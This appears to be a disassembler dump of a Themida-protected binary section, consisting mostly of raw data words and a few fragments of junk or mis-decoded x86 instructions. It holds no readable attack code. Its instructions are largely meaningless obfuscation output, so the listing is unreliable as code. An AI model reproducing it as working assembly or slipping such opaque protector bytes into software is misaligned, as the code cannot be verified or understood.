dd 24355E59h, 4363C5AFh, 0BD71D075h, 6830Fh, 8D890000h
dd 6120275h, 8B006A61h, 6A006AF8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 84A6C357h
dd 0CBECDC4Dh, 3D9D8B00h, 0FF061217h, 120B5595h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 1FFEF111h, 8E7A9D44h, 8859D8Bh, 0B7B70612h, 9BCA8D8Dh
dd 95890615h, 61210D9h, 128C0Fh, 0AE80000h, 52000000h
dd 55F054A6h, 0A8A69ED3h, 5FDA8B3Bh, 39BFD1FFh, 83044BD7h
dd 120EE9BDh, 850F0106h, 78h, 6A026Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 2A7F61C3h
dd 13229E77h, 66F95EF7h, 25A1F781h, 52505090h, 310FFD8Ah
dd 0F98A5250h, 0B6BF310Fh, 5A3AEBF8h, 90585A58h, 18F9BD8Bh
dd 95FF0612h, 6122CD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 89C35343h, 93850AFh, 0B5891C1Dh, 61228D9h
dd 0D54E9h, 0E800h, 815D0000h, 171C78EDh, 0DB816606h, 858D91E6h
dd 615968Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 9CC35747h, 66FB0A87h, 8BEBF5BFh, 4DBD89DFh, 5006122Ch
dd 7E8h, 9A883400h, 0F3DE519Fh, 5830Fh, 98BF0000h, 5F4C679Ah
dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 0E090C352h, 867CBF66h, 64DEB70Fh
dd 35FFh, 81660000h, 642D2EDBh, 2589h, 0BD0B0000h, 6121375h
dd 123585FFh, 820F0612h, 17h, 0BE8h, 1C2FDC00h, 0C19221FCh
dd 56540C0Eh, 8A0Fh, 8B5F0000h, 122E55BDh, 0FFF6A06h, 386h
dd 0F98B6600h, 835B5FFh, 0FFF90612h, 12147595h, 133E906h
dd 9D010000h, 612043Dh, 0BD8900B0h, 6121505h, 71E470E6h
dd 1DBD0952h, 5B06120Bh, 830F613Ch, 111h, 10E9h, 0FD953A00h
dd 0C435FEE7h, 8539CF2Dh, 0C5B77F24h, 0FE8B663Bh, 89C8B60Fh
dd 1228658Dh, 6BA06h, 0C18B0000h, 17830Fh, 12E90000h, 3B000000h
dd 0EDEB3CB8h, 81687DA6h, 2CEF99Ch, 42D42630h, 4E8C1D5h
dd 66FABF0Fh, 0FD8AE2F7h, 2BFE8B66h, 0FFB70FC8h, 0E960D18Bh
dd 0Ch, 0A95D15B5h, 62259A8Eh, 3DDE33AFh, 66EB8166h, 9D096194h
dd 6122D21h, 94E9h, 6830F00h, 8B000000h, 12268DBDh, 4C858B06h
dd 0F505F4Ch, 8Fh, 7C08300h, 0DC5BB5BBh, 0C08335h, 3B5FF853h
dd 0E830FD0h, 0F9000000h, 9CBC78BBh, 5BE91Eh, 8B660000h
dd 0FF8D8BFAh, 29FFFFFFh, 1200298Dh, 1E18306h, 43840Fh
dd 8C0F0000h, 13h, 9E8h, 0AF72DB00h, 0D6C2B983h, 0BB66A82Ah
dd 835FA9FBh, 0FFFFFFA5h, 9D8BFEFFh, 6121A79h, 4C4C9589h
dd 5E8505Fh, 22000000h, 0D4106CA5h, 0BD895FFCh, 6121A29h
dd 0E9h, 0D7B58D00h, 6A061694h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 44BCC352h, 53A78BD8h
dd 34798D29h, 6A5F0612h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 423883A0h, 0F51FB5D1h
dd 8B669C65h, 0BA6660D8h, 8501D169h, 6122205h, 0D195FF61h
dd 6A061229h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 0B255C357h, 296EDB60h, 0B9DE8B66h
dd 1004h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 31C35040h, 1B335ACCh, 5AE75925h, 0FB8B66BCh, 89FCE183h
dd 1224E18Dh, 0BD8BFC06h, 61210E1h, 0B8h, 0E3816600h, 0BA4EBFh
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 209EC357h, 7D2ECFECh, 89FA8B66h
dd 1231F585h, 0C233AD06h, 0D003E8D1h, 7504E983h, 25BD89F4h
dd 6A06121Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 5BAFC356h, 5F8C9D4Eh, 0BD9D8BFAh
dd 0D06122Fh, 88h, 2DCD958Bh, 0BD8B0612h, 61225B5h, 31BD8D8Bh
dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 4EE4ECC3h, 3BF6B0D0h, 9D8BFC6Bh, 6121AD9h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0FBDE49C3h, 14C98D01h, 0BF660612h, 0BD83E139h, 6121419h
dd 4B840F00h, 0E9000000h, 0Dh, 100A1A2Ah, 0A9F794A2h, 9C793D40h
dd 0B831h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0AFA342C3h, 8D8DA28Ah, 6124E4Bh
dd 21DDBD31h, 0E1FF0612h, 8F19D8Bh, 0BD830612h, 6120011h
dd 95840F00h, 0F000004h, 0BD83DFBFh, 6120011h, 0A0840F01h
dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0E926C353h, 11BD83h, 0F030612h
dd 44086h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 7307999Ah, 2BDD1AAFh, 12266DBDh
dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 296A70C3h, 1212CDB5h, 0D98C6606h, 0AA8CBF66h
dd 6A04E180h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0DA78C352h, 0FD526206h, 89E7E68Eh
dd 12162995h, 0C59D8906h, 0A061219h, 62840FC9h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 92E6C355h, 0B6B59EC0h, 0B72C9A4Fh, 8EDF8166h
dd 0CD858B50h, 6A061224h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0CE82C353h, 0FEC78155h
dd 0FABF0F15h, 248D8533h, 6A0612h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0AA88E4C3h, 0E47D0A39h
dd 9E9F8h, 30CA0000h, 0DBE17A7Eh, 501A1279h, 0CE960h, 15440000h
dd 1A8BAD16h, 9BED5E81h, 8961261Dh, 6A2404h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 94AF4DC3h
dd 0DF8B66E2h, 6800F51h, 8B000000h, 1213D99Dh, 6A5F06h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0CC35343h, 5E78AEE3h, 89162E06h, 1210659Dh
dd 10E906h, 1B50000h, 0D8AFC115h, 83E2888Ch, 9463C8C2h
dd 5868A176h, 0BF2B5915h, 102EFC2Ah, 0A7243481h, 0F92B4616h
dd 303195FFh, 0BB660612h, 0E9537335h, 14h, 47189AA3h, 0F4D540D1h
dd 7C9CAE3Fh, 3A125976h, 0A2DFE6B6h, 0C85895Bh, 660615BDh
dd 88DFCF81h, 0D4E9D88Bh, 8B000001h, 122C65BDh, 4858B06h
dd 6A0615BDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 2A5CC351h, 0BB32D416h, 0C79604h
dd 18h, 2F45BD89h, 0B58B0612h, 615BD08h, 6E8h, 3C57F300h
dd 66CD7B98h, 5515E781h, 99858B5Fh, 6A061223h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 5D14C355h, 0BD858992h, 0BF061232h, 25028107h, 689D98Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1EC35040h
dd 5721FB76h, 7BD01F2Ah, 0CD858BC5h, 6A061224h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 2A78C350h, 0D34B4CBAh, 48E0F34h, 66000000h, 321A1BBh
dd 121EF1BDh, 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 28C35747h, 0CDB58912h, 50061200h, 3489DF8Bh
dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 118D7B58h, 0F3511AFBh, 0E851EB87h, 6, 1D511CF2h
dd 0BE96154h, 76000000h, 0AFDB683h, 25893E59h, 5B5F729Fh
dd 31ED9D8Bh, 0B5FF0612h, 615BD04h, 7E9h, 62DEDE00h, 0B766ACFAh
dd 4E8h, 1F03FF00h, 8B665000h, 24448BDFh, 0FE8B6604h, 0BB66008Bh
dd 4489E32Dh, 8B580424h, 1207B5BDh, 0C858D06h, 0E90615BDh
dd 5, 4A200C3Ah, 8B6690A6h, 339050FBh, 1203B1BDh, 3195FF06h
dd 6A061230h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 5E79C352h, 8BBBD155h, 61636ADBh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 52C35545h
dd 5890F9Ah, 0BB000000h, 399CF557h, 0C4DBD8Bh, 85C70612h
dd 6120011h, 3, 0D6B70F60h, 15CD8D89h, 83610612h, 15BD0CBDh
dd 840F0006h, 31h, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh
dd 0C0E6E17Fh, 31E9A4A2h, 0E8000000h, 0Eh, 7039F0C8h, 6819171Eh
dd 54889E5Dh, 0FD8A97E2h, 0C30505Bh, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0F0C35747h, 382C95A3h, 7A110AA5h, 19A1BB66h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 92C35040h
dd 8349CABFh, 120011BDh, 850F0306h, 3ADh, 58B0Fh, 0BDBF0000h
dd 895EC63Dh, 1208F1B5h, 0CBD8306h, 615BDh, 38F840Fh, 0BB660000h
dd 0B5FF92F0h, 615BD0Ch, 23819589h, 9D890612h, 61207F5h
dd 202995FFh, 0B5890612h, 612186Dh, 0BD00B58Bh, 6A0615h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 32F227C3h, 0DF8166D9h, 6C7A69Fh, 10001h, 1A7D9D8Bh
dd 89500612h, 0DF8B2434h, 0BD0CB5FFh, 0BF0F0615h, 0E195FFDBh
dd 3306121Ah, 1203299Dh, 0B58B06h, 6A0615BDh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0B4C1C356h, 0EB815250h, 5A9F2F06h, 39858B5Bh, 8B061230h
dd 120401BDh, 79BD8B06h, 8906120Bh, 0C486h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0C47B21B7h, 82A1EA9Bh, 6800F60h, 89000000h, 12191585h
dd 7E806h, 38B00000h, 7E53F4E9h, 8D0F3Bh, 5F000000h, 0CD958B61h
dd 6A06122Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 76C5C352h, 0E9BE0A30h, 7, 0A30EAEC1h
dd 81CAD25Bh, 84D89C7h, 4C28373h, 6A205089h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 3A48C351h, 18F4A034h, 81948A91h, 0CFF138F3h, 0EA858D0Ch
dd 890615D0h, 1225A58Dh, 31B53106h, 89061233h, 0B886h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0CF4B4863h, 60006A17h, 8E9DA8Bh, 89000000h
dd 9FB02FC0h, 61166017h, 0BD0CB5FFh, 0E9510615h, 7, 12C73593h
dd 5BF253C8h, 2CD595FFh, 95890612h, 6122205h, 50DF8B96h
dd 8B9690B7h, 0CB5FFF8h, 6A0615BDh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0D387C353h
dd 6C948130h, 2E2995FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 14208C3h, 68AE5364h
dd 59BD8B98h, 8306120Fh, 121189BDh, 840F0006h, 63h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DBC35040h, 9D8BC578h
dd 612342Dh, 52505096h, 3DCBBB66h, 0E960310Fh, 0Ch, 76FCDB5Eh
dd 304CD9h, 0DDA731D2h, 96585A61h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0DFC35242h, 0FF2E5BCFh, 15BD0CB5h
dd 41BF6606h, 0A595FF03h, 8906122Ah, 1231FD9Dh, 0CB5FF06h
dd 6A0615BDh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0AA20C356h, 46023C01h, 1DBD2361h
dd 0FF06121Dh, 121BB195h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0C784504Bh
dd 85290C4Bh, 6121701h, 344DB509h, 0BD830612h, 6122A41h
dd 52840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0F866C357h, 858B1518h
dd 61218A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 11C35343h, 0B022FD5Eh, 0CDE4C1C8h, 890000C6h, 122099B5h
dd 185C706h, 61203h, 0E9000000h, 0Dh, 4A0A94B7h, 0BC231718h
dd 8B320497h, 0F3BFE9B1h, 6AFFFFh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 9B6B68C3h, 65BD8B23h
dd 8B061210h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 18C4DA06h, 3490B41h, 121141BDh, 16E906h
dd 4A400000h, 56DEh, 4 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5CEA02
; ---------------------------------------------------------------------------
mov eax, [esi]
or [ebx-3FA65997h], edi
retf 0F845h
; ---------------------------------------------------------------------------
pop edi
xor bh, bl
xchg eax, edx
stc
xchg eax, esp
jnp short loc_5CE503
db 3Eh
ja short loc_5CE54F
push ss
stc
lodsb
adc edi, [eax-69h]
dec edx
mov cl, 0DFh
xor bl, ah
dec edx
inc esp
retf
; ---------------------------------------------------------------------------
dw 0A47Eh
dd 893A4D55h, 6C494DF6h, 0F31C7296h, 431FB334h, 0EF27C5D7h
dd 0DFAE775Ch
; ---------------------------------------------------------------------------
xor bl, ah
dec edx
loc_5CE503: ; CODE XREF: Themida_:005CE4D3j
inc esp
retf
; ---------------------------------------------------------------------------
db 96h, 0CDh, 0C1h
dd 0C54A41FAh, 7A0DBD90h, 947E02Dh, 955E93FEh, 0E3415AF7h
dd 67184DB5h, 6843DFCh, 840BD409h, 1883568Bh, 63BD4B7h
dd 25BBA033h, 0CDA86DEEh, 25218F4Eh, 509B4692h, 5912D13Eh
dd 0D2A5DA35h, 0BCF11E71h
db 0E9h, 56h, 59h
; ---------------------------------------------------------------------------
loc_5CE54F: ; CODE XREF: Themida_:005CE4D5j
rcl al, 3Fh
repne pop ecx
aaa
sbb bl, [ebx+5B15B75h]
add esp, [edx+1DF025EAh]
mov dl, 7Dh
mov ah, 0D7h
cmp [ebx], al
cmp dl, [edx-43h]
mov [edi+790F44CBh], bh
db 65h
jl short loc_5CE5DA
daa
cmp esp, [esi-0AD0A323h]
mov ecx, 71B2DB4Dh
push 147AA085h
xor dword ptr [eax+20h], 8509A2EFh
mov dl, [ebp+3Dh]
push ecx
sbb bh, 47h
imul esp, [ebx], -14h
mov bh, 0EEh
mov ds:0BF73386Dh, al
and bh, [ebp+7C13CE3Ah]
add al, 0DFh
mov esp, 74D122h
; ---------------------------------------------------------------------------
dw 0
dd 75931423h, 8D6C8135h, 0EAA4B548h, 0DFAD6625h, 0A0B89D30h
dd 47DF93EDh, 1D52BDD1h, 0A3D83754h, 9FE8F90Dh, 0DF93F097h
dd 1D889347h
db 9Ah, 2Eh
; ---------------------------------------------------------------------------
loc_5CE5DA: ; CODE XREF: Themida_:005CE570j
mov bl, 0DCh
in al, 0CAh ; DMA controller, 8237A-5.
; single mask bit register
; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
; 2: 1=set mask for channel; 0=clear mask (enable)
mov esp, 63122h
; ---------------------------------------------------------------------------
db 0
dd 2894200h, 144C7A0Dh, 5F92F5FDh, 0E6F147DFh, 0C54A4253h
dd 4AC5C790h, 5A35EE15h, 7E1122B5h, 0B2C65C91h, 37D8B42Fh
dd 513AF3EAh, 741A2BBEh, 0C55BDC9Bh, 0EEB93181h, 0B56B68FBh
dd 0BFF41B72h, 6BAEDF98h, 0F083EE21h, 2D62ADDFh, 0CC17CA4Eh
dd 68014EC1h, 0EBB4E926h, 199B1C9Fh, 5CB3DD9Dh, 63365101h
dd 3A4547DFh, 0EE0A9ACFh, 0FF549CF3h, 96E122BCh, 0F2000000h
dd 83B85739h, 72EF1DB0h, 0B435F41Bh, 0A1EC8FD2h, 7506456Eh
dd 0CD424DAEh, 4D32C598h, 0D4090684h, 558A850Bh, 0DA0F008Ch
dd 756A77FBh, 0D5AE3347h, 7AD1B6BEh, 0A7B247DFh, 858A0314h
dd 7884138h, 6D00D308h, 0A9DE315Ch, 206AAFE0h, 0CC584EFh
dd 13F88B84h, 94C9464Ah, 174CC3CBh, 6F746D81h, 0CFB62B47h
dd 22BCE787h, 4614h, 1B726600h, 9AF6BFF4h, 0DF35B675h
dd 0C7341710h, 7E2136C2h, 7D703755h, 0C40805EAh, 54BBD21Dh
dd 5EB1DC95h, 0C6C35629h, 0F51A7210h, 5FE6A8C0h, 4AB647DFh
dd 5835EE97h, 1CAF82B7h, 0BCFED7AFh, 10422h, 72560000h
dd 0F9C2F718h, 9D457A95h, 0D5B530B1h, 8790ED3Ah, 2BD3DB9Ah
dd 1A49F183h, 9CB3DA0Fh, 0B464ABE3h, 4DF18CD3h, 112A5B0h
dd 9C35828Dh, 0D0E81DF2h, 4DF18CBDh, 2F5889CDh, 8EF90118h
dd 0ED4DF18Ch, 8C5532E2h, 25264DF1h, 0AB3EA966h, 5C1BF49Ah
dd 0EE23ECA3h, 948B881Bh, 0F2350413h, 0F386542Eh, 70FACE2h
dd 4DF25980h, 588DF803h, 0DB10FF8Fh, 7E6978FCh, 88870910h
dd 0FBDBD01Dh, 3024AE04h, 167h, 9068841h, 406E01D4h, 1C0A5AEh
dd 0F17729F9h, 0D4091449h, 0F696830Bh, 0C861AE19h, 9AEDF5C6h
dd 0E94DF178h, 4A21AC20h, 9B0699AEh, 5C32FB30h, 1B9F7EB3h
dd 8704BDC6h, 716485CAh, 46F3645h, 5869FCCFh, 978CD936h
dd 24AE223Fh, 49C6C67Fh, 48B4B6h, 14060000h, 1C82DA93h
dd 1CAFA805h, 99583D47h, 0DFADD691h, 0A5DAE5C7h, 45CAC57Eh
dd 113552B2h, 0CD81C7DFh, 260B1514h, 11085F67h, 0FD1447DFh
dd 0DFAD92F5h, 53E6F147h, 0BCB3000Bh, 0F7CCFF3Bh, 25B882FCh
dd 0CA16h, 0A5AE8000h, 55F901C0h, 0B049F181h, 5E2DE6A5h
dd 0FAEB7CB1h, 0E85AFC32h, 775CEF5Ah, 5139E0AEh, 0CDC089BEh
dd 1F6CD742h, 0FABFA728h, 320F8237h, 0F008E9Fh, 56313950h
dd 0FE4DF215h, 0F21591F6h, 4FE7F24Dh, 0AE054886h, 0A10CD3A8h
dd 7B11290Eh, 714DF1D8h, 9CEBF30Ah, 0DF4DF1D9h, 0DA0F7880h
dd 616C4DF1h, 0CA1763F6h, 0CB4C6F1Fh, 254DDBA9h, 0A8DF8FE5h
dd 0DB4DF1EAh, 0B0984612h, 0C42F9185h, 0A6AF0C59h, 345BC201h
dd 0C7328482h, 0CAFB8708h, 0FAF7BAFBh, 8FF0F867h, 9C50071Fh
dd 7C355C91h, 0A0C7FC13h, 0E516EF98h, 16818C47h, 0F31C7283h
dd 72151D34h, 1147E516h, 0E68E7306h, 2F38E7FAh, 47B8342h
dd 3749FA39h, 0AE29DF2Ch, 0F901C0A5h, 49F48186h, 0AC75AAB5h
dd 0B75837E2h, 0F744AF82h, 3E21305Eh, 92F4B895h, 9923646Ch
dd 55604DF6h, 324A7FEAh, 0FD1DF3ACh, 75707185h, 0B2A9F619h
dd 0E87B94F9h, 2358B7D7h, 0C84743FCh, 0AE6B2435h, 27FA2FE0h
dd 0F3DF87BCh, 0B69BF3EEh, 0A59CE95Ah, 57A40F8Eh, 26E9A760h
dd 30C8293h, 307CEh, 22710000h, 0F01F7234h, 739CF2BBh
dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh
dd 8B8406CFh, 10FF8D56h, 0E68D4DBh, 89000006h, 6668242Ch
dd 8900000Bh, 2468241Ch, 89000076h, 0E7682434h, 8B061729h
dd 0C481241Ch, 4, 4EC81h, 24890000h, 24048124h, 4, 6855515Eh
dd 2024289h, 0D1CD815Dh, 8143030Ch, 34ED1F5h, 5DE98943h
dd 1989F101h, 24348B59h, 81E28952h, 4C2h, 4C28300h, 5C241487h
dd 5B2434FFh, 0E904C483h, 0FFFB51DDh, 0C64727A2h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop edi
loc_5CEA02: ; CODE XREF: Themida_:005CE4BCj
mov eax, 6172EB0h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 3Ah
dd 5521E300h, 0D52BB6F2h, 372853CDh, 0CA68DDAFh, 0F114A7B4h
dd 41342CA6h, 2217882Dh, 0C18B97Eh, 28447653h, 9F4E57F5h
dd 1F5DA62Eh, 3F4772A9h, 633DD909h, 0BD3179F5h, 3C38803Fh
dd 8D36326Ch, 12006585h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 80D6B885h, 7DF3874Bh
dd 3810Fh, 8B660000h, 8BDDBFFBh, 0FE96218h, 53000000h
dd 0D6E18F54h, 8E72E8CFh, 0EE59DA6Dh, 0E850EBEDh, 0Eh
dd 3520DD2Bh, 0D6A6F456h, 15DE1B36h, 665040A8h, 5F5BFE8Bh
dd 0E9240489h, 0Eh, 1A24DA66h, 0D60BD8C4h, 5E306AC1h, 6AD9CEh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 47C35040h
dd 0D2A55052h, 667C4DA4h, 0F781DF8Bh, 1D435F19h, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0B70F61C3h, 0C7858DDEh, 0E9061731h, 0Eh, 3B1DCE5Ah
dd 8C03D348h, 0A4CA7045h, 0C083CAC5h, 0CD852905h, 0F06122Ah
dd 486h, 2BF6600h, 0E8509092h, 14h, 58D6806Bh, 0C637716Ah
dd 16424733h, 0EEA863FCh, 1870E30Eh, 56C13BBBh, 505F5B58h
dd 50C4B560h, 0F5A5052h, 0BE931h, 0AB850000h, 1348FBEFh
dd 1B753455h, 61585A17h, 0F88B6690h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C5923DC3h
dd 50D648E8h, 0B3006AF9h, 5595FFAFh, 6A06120Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 5D28C352h, 4F7327DEh, 0E1BD8BF1h, 8D061207h, 159BCA8Dh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 4B89ECBAh, 7E97Eh, 44920000h, 0D54D9F66h
dd 0A5BD8B5Fh, 0FF061207h, 56006AD1h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0BBDD975Bh
dd 364B5133h, 3325BD8Bh, 0BD830612h, 6120EE9h, 56850F01h
dd 0F000000h, 26ADAB7h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 96C35141h, 3BD3A029h, 74B79056h, 91B86050h
dd 50638510h, 0F616052h, 0F4BF6631h, 61585AD0h, 3800F90h
dd 0F000000h, 95FFF8B7h, 6122CD5h, 89DEBF0Fh, 122A7195h
dd 0DEDE906h, 0E80000h, 5D000000h, 31D1ED81h, 9D030617h
dd 6122341h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 0D6C35141h, 6DBD8B1Fh, 8D061224h, 15968F85h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 4DBB2386h, 9043F68Dh, 30BF6650h, 0E8505FA6h, 0Eh, 3AC74DB1h
dd 0E4C8F09h, 53FEDDF1h, 0BF667EA8h, 905F0052h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B3C35141h, 346046Bh
dd 9D8BC391h, 6122369h, 35FF64h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5BFBC355h
dd 64DDBDCAh, 2589h, 0BF660000h, 85FF4AAEh, 6121235h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FC35242h, 29BD0307h
dd 0E906121Fh, 13h, 0FEF9EC0Ah, 457C6157h, 71097460h, 0C4E3C214h
dd 6AF5D5C3h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0E81FB27Ah, 0C55923E2h, 7E91F6Dh
dd 0F1000000h, 30AE4B59h, 0B5FF81D2h, 61213A1h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0CDC35545h, 1B499D8Bh
dd 95FF0612h, 6121475h, 0E8E9h, 1DBD8B00h, 0B0061233h
dd 0BD9D8900h, 0E6061200h, 8D9D8970h, 0E4061217h, 9D8B5371h
dd 61203F1h, 0F613C5Fh, 0C083h, 24CEBF00h, 0B60F31B1h
dd 6BAC8h, 0FE8B0000h, 3850Fh, 8B660000h, 31C18BF8h, 1232098Dh
dd 4E8C106h, 66F98B66h, 9531E2F7h, 612266Dh, 0B70FC82Bh
dd 9D18BDFh, 122D29BDh, 7FE906h, 0BB600000h, 4FDBCA76h
dd 2E59BD8Bh, 8B610612h, 47554C85h, 0CDB53149h, 83061208h
dd 0BD8B07C0h, 6121325h, 8A00C083h, 0FD03BF9h, 1183h, 66FC6000h
dd 963CCE81h, 43E961h, 0BF660000h, 8D8BF931h, 0FFFFFFFFh
dd 189D8D29h, 0E1830612h, 2A840F01h, 0E9000000h, 6, 0D5954214h
dd 852900F7h, 612159Dh, 0FFFFA583h, 8BFEFFFFh, 121479BDh
dd 4C958906h, 0FC494755h, 0E9h, 0DBB58D00h, 6A0616A4h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 0A468C350h, 84D49063h, 89C5AB4Bh, 1231C185h
dd 66006A06h, 8666DB81h, 29D195FFh, 6A0612h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BA271C3h
dd 10AEB9D9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0E3AEBCC3h, 0AE9h, 0D59C3D00h, 464878E8h
dd 8340120Fh, 8A0FFCE1h, 6, 19D99589h, 5CBB0612h, 0FC77D678h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E1C35040h
dd 957610BEh, 0E9216921h, 0Dh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h
dd 81C02B65h, 0F13977CFh, 0BA0Dh, 9D8B0000h, 612328Dh
dd 1C99BD0Bh, 33AD0612h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 3EFEAEC3h, 895260C0h, 121E45BDh, 81665B06h, 61BDD5D7h
dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0F470AFA9h, 822D09A8h, 0ED8D895Bh
dd 8B061227h, 122DCD95h, 6D8D8906h, 8B06121Eh, 1231BD8Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 773A5DECh, 66DD752Eh, 82F5F381h, 0CE9h
dd 7B9DB700h, 61131450h, 0A01F060h, 0D8B70F55h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B68B9C3h
